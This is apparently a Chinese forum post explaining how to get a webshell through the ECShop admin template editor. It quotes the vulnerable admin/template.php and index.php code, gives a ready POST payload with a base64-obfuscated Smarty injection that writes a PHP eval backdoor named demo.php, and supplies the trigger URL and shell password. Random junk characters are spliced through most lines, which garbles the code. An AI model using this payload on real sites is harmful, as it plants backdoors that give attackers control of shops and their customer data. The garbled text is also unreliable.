Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. K8 I/ L1 x& l/ X) h+ f
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
9 l( U- U2 D  O' u( C- a
& G3 C/ C; C2 d1 U! e- X1 if ($_REQUEST['act'] == 'update_library')
) Q: ~" y% \: y- x# u+ L& r
2   

3 {
3 K  A0 r6 }# |  s+ U% d) [
4     check_authz_json('library_manage');
/ ^# T" S( i, R0 z  t% c
5   
5 e, o4 Q/ y" ^6 J7 C% S- y
6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

9 Z# Y. i8 P% I* S1 Q8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

, p: B% z4 T; S9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
; U! @$ ^) g. A) a1 K0 ^. J6 `
11   
1 T3 ^. L1 A/ F7 p/ J9 k( W+ ?
# C: r2 k7 q4 Q# s  ~" h( n12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
$ b- c( r6 p  M, r& l& V% |
; P/ c8 f5 B% s; H* Z& l13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 T) x  T. i3 x2 s0 X% o3 Y1 _" e" l# M
15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
2 W$ g  ]# f  |- ]9 e+ A
17         make_json_result('', $_LANG['update_lib_success']);
" _' V+ R- C! v, l
18     }
* t1 d& D) p3 x0 d( T9 R
19     else
" j% C! E# {& ~" D5 N' N8 U
20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

9 s$ s- R$ i! a' z, Y5 `! [+ E* I4 N22     }

3 c! }! C- K2 T7 `8 Y8 e4 t, K23 }

那么找个比较方便调用了模板的文件
index.php

) p, v# \$ r9 ]3 j. e* |1 if ($act == 'cat_rec')

2   

3 {

" V$ ?( g6 n/ X; n, ~4   
, P" ~& B4 I9 p# H: i4 q
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
8 K" R7 s8 E  W* X: @& `3 y
6   
5 F+ t. }7 y0 q" y" \- E2 J
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
' X6 O& l) l' d! q
6 z2 ]- Z; A  N/ l8   
) M, g5 n- s( @$ L( w% h
) O: J* r8 k6 q; Y4 e- j9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

; D  Z+ I4 c1 @" G( [8 b10   
: U& l% P$ H" S
11     include_once('includes/cls_json.php');

7 k: r8 Z+ u( J  O0 C3 q5 e12   

13     $json = new JSON;
/ s7 {4 P" \! H# n
14   
  O+ b% Z1 e$ J
. @+ J, G- A# ^% f9 ?& N- R# x15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

# s) I  K' }. e7 {* t$ H% C2 ?17     $children = get_children($cat_id);
. y3 R( k1 C% X
18   
+ C. |9 e: _. l* a- q/ o& D+ {7 X
" [0 d$ g2 Q4 Y19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
- H& N5 O: w- j& V. J# b0 S
20   

8 o1 d5 v9 b7 u. s  N$ E21     $smarty->assign('cat_rec_sign', 1);

22   
4 z5 Q4 T& Z' S
1 E; h6 m! m, L8 h23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

5 ?7 I4 B/ ^3 z, E, X: B5 Q24   

" J% y3 Z. G: {1 L' N25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
: ?3 o( O, J4 y8 A
5 g# p, ]; D& K8 b26   
0 R4 {" T! N2 h6 E5 K) S
7 F7 ?% c$ M+ N( N# a27         echo $rec_array[$rec_type];

) b' `+ V* n4 M- X0 Q28   

29     die($json->encode($result));
, R  F/ p+ q6 a3 m
3 N6 Y2 o( ~' Z9 [& T30   
# H! [8 y( j/ \* @
31 }
  K) Y9 e8 \. q
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
! {9 U' v% V, f
​
3 K+ C' \& B. o$ c# w" y6 {6 a1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

7 O0 o4 p2 h- w' x4 ]! c然后访问http://localhost/ec/index.php?act=cat_rec

& n3 A5 `% K. V* d( Pshel地址：http://localhost/ec/demo.php
" W3 E6 b3 ]" A. }4 t9 [! b密码c
" s) L9 K( n& c- a$ e- B
2 t$ M. ~' O( w: R5 n4 v